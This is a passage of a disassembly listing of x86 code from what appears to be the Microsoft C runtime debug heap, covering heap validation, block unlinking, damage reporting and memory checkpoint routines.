push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 41Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4177AD
int 3 ; Trap to Debugger
loc_4177AD: ; CODE XREF: sub_4174F0+29Aj
; sub_4174F0+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_417781
mov edx, [ebp+var_4]
mov eax, dword_492068
sub eax, [edx+10h]
mov dword_492068, eax
mov ecx, dword_442C00
and ecx, 2
test ecx, ecx
jnz loc_4178AC
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_4177EC
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_41782A
; ---------------------------------------------------------------------------
loc_4177EC: ; CODE XREF: sub_4174F0+2EAj
; sub_4174F0+32Cj
mov ecx, dword_49205C
cmp ecx, [ebp+var_4]
jz short loc_417818
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 42Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417818
int 3 ; Trap to Debugger
loc_417818: ; CODE XREF: sub_4174F0+305j
; sub_4174F0+325j
xor edx, edx
test edx, edx
jnz short loc_4177EC
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov dword_49205C, ecx
loc_41782A: ; CODE XREF: sub_4174F0+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_417842
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_41787F
; ---------------------------------------------------------------------------
loc_417842: ; CODE XREF: sub_4174F0+341j
; sub_4174F0+382j
mov ecx, dword_492064
cmp ecx, [ebp+var_4]
jz short loc_41786E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 434h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41786E
int 3 ; Trap to Debugger
loc_41786E: ; CODE XREF: sub_4174F0+35Bj
; sub_4174F0+37Bj
xor edx, edx
test edx, edx
jnz short loc_417842
mov eax, [ebp+var_4]
mov ecx, [eax]
mov dword_492064, ecx
loc_41787F: ; CODE XREF: sub_4174F0+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_442C0D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4189A0
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41C8C0
add esp, 4
jmp short loc_4178D5
; ---------------------------------------------------------------------------
loc_4178AC: ; CODE XREF: sub_4174F0+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, byte_442C0D
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_4189A0
add esp, 0Ch
loc_4178D5: ; CODE XREF: sub_4174F0+49j
; sub_4174F0+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4174F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_417900
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417900 proc near ; CODE XREF: .text:004178E9p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, dword_442C00
and eax, 4
test eax, eax
jz short loc_417945
loc_417915: ; CODE XREF: sub_417900+43j
call sub_417BD0
test eax, eax
jnz short loc_41793F
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 47Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41793F
int 3 ; Trap to Debugger
loc_41793F: ; CODE XREF: sub_417900+1Cj
; sub_417900+3Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_417915
loc_417945: ; CODE XREF: sub_417900+13j
push 9
call sub_41BC90
add esp, 4
loc_41794F: ; CODE XREF: sub_417900+84j
mov edx, [ebp+arg_0]
push edx
call sub_418030
add esp, 4
test eax, eax
jnz short loc_417980
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 485h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417980
int 3 ; Trap to Debugger
loc_417980: ; CODE XREF: sub_417900+5Dj
; sub_417900+7Dj
xor eax, eax
test eax, eax
jnz short loc_41794F
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_8], ecx
loc_41798F: ; CODE XREF: sub_417900+E6j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_4179E2
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 1
jz short loc_4179E2
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_4179E2
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_4179E2
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 48Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4179E2
int 3 ; Trap to Debugger
loc_4179E2: ; CODE XREF: sub_417900+9Dj
; sub_417900+A6j ...
xor edx, edx
test edx, edx
jnz short loc_41798F
mov eax, [ebp+var_8]
cmp dword ptr [eax+14h], 2
jnz short loc_4179FE
cmp [ebp+arg_4], 1
jnz short loc_4179FE
mov [ebp+arg_4], 2
loc_4179FE: ; CODE XREF: sub_417900+EFj
; sub_417900+F5j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_417A39
loc_417A07: ; CODE XREF: sub_417900+137j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_417A33
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 492h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417A33
int 3 ; Trap to Debugger
loc_417A33: ; CODE XREF: sub_417900+110j
; sub_417900+130j
xor ecx, ecx
test ecx, ecx
jnz short loc_417A07
loc_417A39: ; CODE XREF: sub_417900+105j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_4], eax
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417900 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_442C08
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_442C08, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 9
call sub_41BC90
add esp, 4
mov eax, [ebp+8]
push eax
call sub_418030
add esp, 4
test eax, eax
jz short loc_417B0C
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
loc_417AAA: ; CODE XREF: .text:00417B01j
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_417AFD
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_417AFD
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_417AFD
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jz short loc_417AFD
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4D3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417AFD
int 3 ; Trap to Debugger
loc_417AFD: ; CODE XREF: .text:00417AB8j
; .text:00417AC1j ...
xor edx, edx
test edx, edx
jnz short loc_417AAA
mov eax, [ebp-4]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_417B0C: ; CODE XREF: .text:00417A9Fj
push 9
call sub_41BD30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, off_442D18
mov [ebp-4], eax
mov ecx, [ebp+8]
mov off_442D18, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B40 proc near ; CODE XREF: sub_4174F0+151p
; sub_4174F0+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_417B4E: ; CODE XREF: sub_417B40:loc_417BBCj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_417BBE
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_417BBC
loc_417B7B: ; CODE XREF: sub_417B40+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_417BAF
int 3 ; Trap to Debugger
loc_417BAF: ; CODE XREF: sub_417B40+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_417B7B
mov [ebp+var_4], 0
loc_417BBC: ; CODE XREF: sub_417B40+39j
jmp short loc_417B4E
; ---------------------------------------------------------------------------
loc_417BBE: ; CODE XREF: sub_417B40+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417B40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BD0 proc near ; CODE XREF: sub_416B00:loc_416B1Cp
; sub_416F00:loc_416F62p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_4], 1
mov eax, dword_442C00
and eax, 1
test eax, eax
jnz short loc_417BF6
mov eax, 1
jmp loc_417F28
; ---------------------------------------------------------------------------
loc_417BF6: ; CODE XREF: sub_417BD0+1Aj
push 9
call sub_41BC90
add esp, 4
call sub_41C930
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jz loc_417D19
cmp [ebp+var_C], 0FFFFFFFEh
jz loc_417D19
mov ecx, [ebp+var_C]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
add edx, 6
mov [ebp+var_18], edx
cmp [ebp+var_18], 3
ja loc_417CE2
mov eax, [ebp+var_18]
jmp ds:off_417F2F[eax*4]
loc_417C3F: ; CODE XREF: sub_417BD0+93j
; DATA XREF: .text:00417F3Bo
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417C5F
int 3 ; Trap to Debugger
loc_417C5F: ; CODE XREF: sub_417BD0+8Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_417C3F
jmp loc_417D08
; ---------------------------------------------------------------------------
loc_417C6A: ; CODE XREF: sub_417BD0+68j
; sub_417BD0+BEj
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417C8A
int 3 ; Trap to Debugger
loc_417C8A: ; CODE XREF: sub_417BD0+B7j
xor edx, edx
test edx, edx
jnz short loc_417C6A
jmp short loc_417D08
; ---------------------------------------------------------------------------
loc_417C92: ; CODE XREF: sub_417BD0+68j
; sub_417BD0+E6j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417CB2
int 3 ; Trap to Debugger
loc_417CB2: ; CODE XREF: sub_417BD0+DFj
xor eax, eax
test eax, eax
jnz short loc_417C92
jmp short loc_417D08
; ---------------------------------------------------------------------------
loc_417CBA: ; CODE XREF: sub_417BD0+68j
; sub_417BD0+10Ej
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417CDA
int 3 ; Trap to Debugger
loc_417CDA: ; CODE XREF: sub_417BD0+107j
xor ecx, ecx
test ecx, ecx
jnz short loc_417CBA
jmp short loc_417D08
; ---------------------------------------------------------------------------
loc_417CE2: ; CODE XREF: sub_417BD0+5Fj
; sub_417BD0+136j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417D02
int 3 ; Trap to Debugger
loc_417D02: ; CODE XREF: sub_417BD0+12Fj
xor edx, edx
test edx, edx
jnz short loc_417CE2
loc_417D08: ; CODE XREF: sub_417BD0+95j
; sub_417BD0+C0j ...
push 9
call sub_41BD30
add esp, 4
xor eax, eax
jmp loc_417F28
; ---------------------------------------------------------------------------
loc_417D19: ; CODE XREF: sub_417BD0+3Cj
; sub_417BD0+46j
mov eax, dword_492064
mov [ebp+var_8], eax
jmp short loc_417D2B
; ---------------------------------------------------------------------------
loc_417D23: ; CODE XREF: sub_417BD0:loc_417F16j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_417D2B: ; CODE XREF: sub_417BD0+151j
cmp [ebp+var_8], 0
jz loc_417F1B
mov [ebp+var_10], 1
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_417D70
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 1
jz short loc_417D70
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_417D70
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 3
jnz short loc_417D88
loc_417D70: ; CODE XREF: sub_417BD0+17Bj
; sub_417BD0+184j ...
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_442C10[ecx*4]
mov [ebp+var_14], edx
jmp short loc_417D8F
; ---------------------------------------------------------------------------
loc_417D88: ; CODE XREF: sub_417BD0+19Ej
mov [ebp+var_14], offset aDamaged ; "DAMAGED"
loc_417D8F: ; CODE XREF: sub_417BD0+1B6j
push 4
mov al, byte_442C0C
push eax
mov ecx, [ebp+var_8]
add ecx, 1Ch
push ecx
call sub_417B40
add esp, 0Ch
test eax, eax
jnz short loc_417DE4
loc_417DAA: ; CODE XREF: sub_417BD0+20Bj
mov edx, [ebp+var_8]
add edx, 20h
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_417DD7
int 3 ; Trap to Debugger
loc_417DD7: ; CODE XREF: sub_417BD0+204j
xor eax, eax
test eax, eax
jnz short loc_417DAA
mov [ebp+var_10], 0
loc_417DE4: ; CODE XREF: sub_417BD0+1D8j
push 4
mov cl, byte_442C0C
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+20h]
push edx
call sub_417B40
add esp, 0Ch
test eax, eax
jnz short loc_417E41
loc_417E07: ; CODE XREF: sub_417BD0+268j
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_14]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_417E34
int 3 ; Trap to Debugger
loc_417E34: ; CODE XREF: sub_417BD0+261j
xor ecx, ecx
test ecx, ecx
jnz short loc_417E07
mov [ebp+var_10], 0
loc_417E41: ; CODE XREF: sub_417BD0+235j
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 0
jnz short loc_417E9A
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov dl, byte_442C0D
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
call sub_417B40
add esp, 0Ch
test eax, eax
jnz short loc_417E9A
loc_417E6B: ; CODE XREF: sub_417BD0+2C1j
mov ecx, [ebp+var_8]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417E8D
int 3 ; Trap to Debugger
loc_417E8D: ; CODE XREF: sub_417BD0+2BAj
xor edx, edx
test edx, edx
jnz short loc_417E6B
mov [ebp+var_10], 0
loc_417E9A: ; CODE XREF: sub_417BD0+278j
; sub_417BD0+299j
cmp [ebp+var_10], 0
jnz short loc_417F16
mov eax, [ebp+var_8]
cmp dword ptr [eax+8], 0
jz short loc_417EDC
loc_417EA9: ; CODE XREF: sub_417BD0+30Aj
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_417ED6
int 3 ; Trap to Debugger
loc_417ED6: ; CODE XREF: sub_417BD0+303j
xor eax, eax
test eax, eax
jnz short loc_417EA9
loc_417EDC: ; CODE XREF: sub_417BD0+2D7j
; sub_417BD0+33Dj
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_14]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_417F09
int 3 ; Trap to Debugger
loc_417F09: ; CODE XREF: sub_417BD0+336j
xor edx, edx
test edx, edx
jnz short loc_417EDC
mov [ebp+var_4], 0
loc_417F16: ; CODE XREF: sub_417BD0+2CEj
jmp loc_417D23
; ---------------------------------------------------------------------------
loc_417F1B: ; CODE XREF: sub_417BD0+15Fj
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
loc_417F28: ; CODE XREF: sub_417BD0+21j
; sub_417BD0+144j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417BD0 endp
; ---------------------------------------------------------------------------
off_417F2F dd offset loc_417CBA ; DATA XREF: sub_417BD0+68r
dd offset loc_417C92
dd offset loc_417C6A
dd offset loc_417C3F
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F40 proc near ; CODE XREF: sub_41B390+A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_442C00
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_417F5B
mov ecx, [ebp+arg_0]
mov dword_442C00, ecx
loc_417F5B: ; CODE XREF: sub_417F40+10j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_417F40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_442C00
and eax, 1
test eax, eax
jnz short loc_417F82
jmp short loc_417FD3
; ---------------------------------------------------------------------------
loc_417F82: ; CODE XREF: .text:00417F7Ej
push 9
call sub_41BC90
add esp, 4
mov ecx, dword_492064
mov [ebp-4], ecx
jmp short loc_417F9F
; ---------------------------------------------------------------------------
loc_417F97: ; CODE XREF: .text:loc_417FC7j
mov edx, [ebp-4]
mov eax, [edx]
mov [ebp-4], eax
loc_417F9F: ; CODE XREF: .text:00417F95j
cmp dword ptr [ebp-4], 0
jz short loc_417FC9
mov ecx, [ebp-4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_417FC7
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_417FC7: ; CODE XREF: .text:00417FB4j
jmp short loc_417F97
; ---------------------------------------------------------------------------
loc_417FC9: ; CODE XREF: .text:00417FA3j
push 9
call sub_41BD30
add esp, 4
loc_417FD3: ; CODE XREF: .text:00417F80j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FE0 proc near ; CODE XREF: sub_418030+19p
; .text:0041812Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_41801D
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_49440C
test eax, eax
jnz short loc_41801D
cmp [ebp+arg_8], 0
jz short loc_418014
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_494408
test eax, eax
jnz short loc_41801D
loc_418014: ; CODE XREF: sub_417FE0+20j
mov [ebp+var_4], 1
jmp short loc_418024
; ---------------------------------------------------------------------------
loc_41801D: ; CODE XREF: sub_417FE0+8j
; sub_417FE0+1Aj ...
mov [ebp+var_4], 0
loc_418024: ; CODE XREF: sub_417FE0+3Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_417FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418030 proc near ; CODE XREF: sub_416F00+1AAp
; sub_4174F0+9Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41803E
xor eax, eax
jmp short loc_4180B2
; ---------------------------------------------------------------------------
loc_41803E: ; CODE XREF: sub_418030+8j
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_417FE0
add esp, 0Ch
test eax, eax
jnz short loc_418059
xor eax, eax
jmp short loc_4180B2
; ---------------------------------------------------------------------------
loc_418059: ; CODE XREF: sub_418030+23j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_41CB40
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_418086
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_41CBA0
add esp, 8
jmp short loc_4180B2
; ---------------------------------------------------------------------------
loc_418086: ; CODE XREF: sub_418030+3Fj
mov ecx, dword_492094
and ecx, 8000h
test ecx, ecx
jz short loc_41809D
mov eax, 1
jmp short loc_4180B2
; ---------------------------------------------------------------------------
loc_41809D: ; CODE XREF: sub_418030+64j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, dword_49377C
push eax
call ds:dword_494410
loc_4180B2: ; CODE XREF: sub_418030+Cj
; sub_418030+27j ...
mov esp, ebp
pop ebp
retn
sub_418030 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
push eax
call sub_418030
add esp, 4
test eax, eax
jnz short loc_4180DB
xor eax, eax
jmp loc_41819F
; ---------------------------------------------------------------------------
loc_4180DB: ; CODE XREF: .text:004180D2j
push 9
call sub_41BC90
add esp, 4
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_418120
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_418120
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_418120
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jnz short loc_418193
loc_418120: ; CODE XREF: .text:004180FCj
; .text:00418105j ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_417FE0
add esp, 0Ch
test eax, eax
jz short loc_418193
mov ecx, [ebp-4]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_418193
mov eax, [ebp-4]
mov ecx, [eax+18h]
cmp ecx, dword_442C04
jg short loc_418193
cmp dword ptr [ebp+10h], 0
jz short loc_418160
mov edx, [ebp+10h]
mov eax, [ebp-4]
mov ecx, [eax+18h]
mov [edx], ecx
loc_418160: ; CODE XREF: .text:00418153j
cmp dword ptr [ebp+14h], 0
jz short loc_418171
mov edx, [ebp+14h]
mov eax, [ebp-4]
mov ecx, [eax+8]
mov [edx], ecx
loc_418171: ; CODE XREF: .text:00418164j
cmp dword ptr [ebp+18h], 0
jz short loc_418182
mov edx, [ebp+18h]
mov eax, [ebp-4]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_418182: ; CODE XREF: .text:00418175j
push 9
call sub_41BD30
add esp, 4
mov eax, 1
jmp short loc_41819F
; ---------------------------------------------------------------------------
loc_418193: ; CODE XREF: .text:0041811Ej
; .text:00418134j ...
push 9
call sub_41BD30
add esp, 4
xor eax, eax
loc_41819F: ; CODE XREF: .text:004180D6j
; .text:00418191j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_493798
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_493798, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181D0 proc near ; CODE XREF: sub_418850+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41820A
loc_4181DF: ; CODE XREF: sub_4181D0+33j
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_4181FF
int 3 ; Trap to Debugger
loc_4181FF: ; CODE XREF: sub_4181D0+2Cj
xor eax, eax
test eax, eax
jnz short loc_4181DF
jmp loc_418333
; ---------------------------------------------------------------------------
loc_41820A: ; CODE XREF: sub_4181D0+Dj
push 9
call sub_41BC90
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, dword_492064
mov [ecx], edx
mov [ebp+var_4], 0
jmp short loc_418231
; ---------------------------------------------------------------------------
loc_418228: ; CODE XREF: sub_4181D0+83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_418231: ; CODE XREF: sub_4181D0+56j
cmp [ebp+var_4], 5
jge short loc_418255
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_418228
; ---------------------------------------------------------------------------
loc_418255: ; CODE XREF: sub_4181D0+65j
mov edx, dword_492064
mov [ebp+var_8], edx
jmp short loc_418268
; ---------------------------------------------------------------------------
loc_418260: ; CODE XREF: sub_4181D0:loc_41830Cj
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
loc_418268: ; CODE XREF: sub_4181D0+8Ej
cmp [ebp+var_8], 0
jz loc_418311
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_4182E7
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_4182E7
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
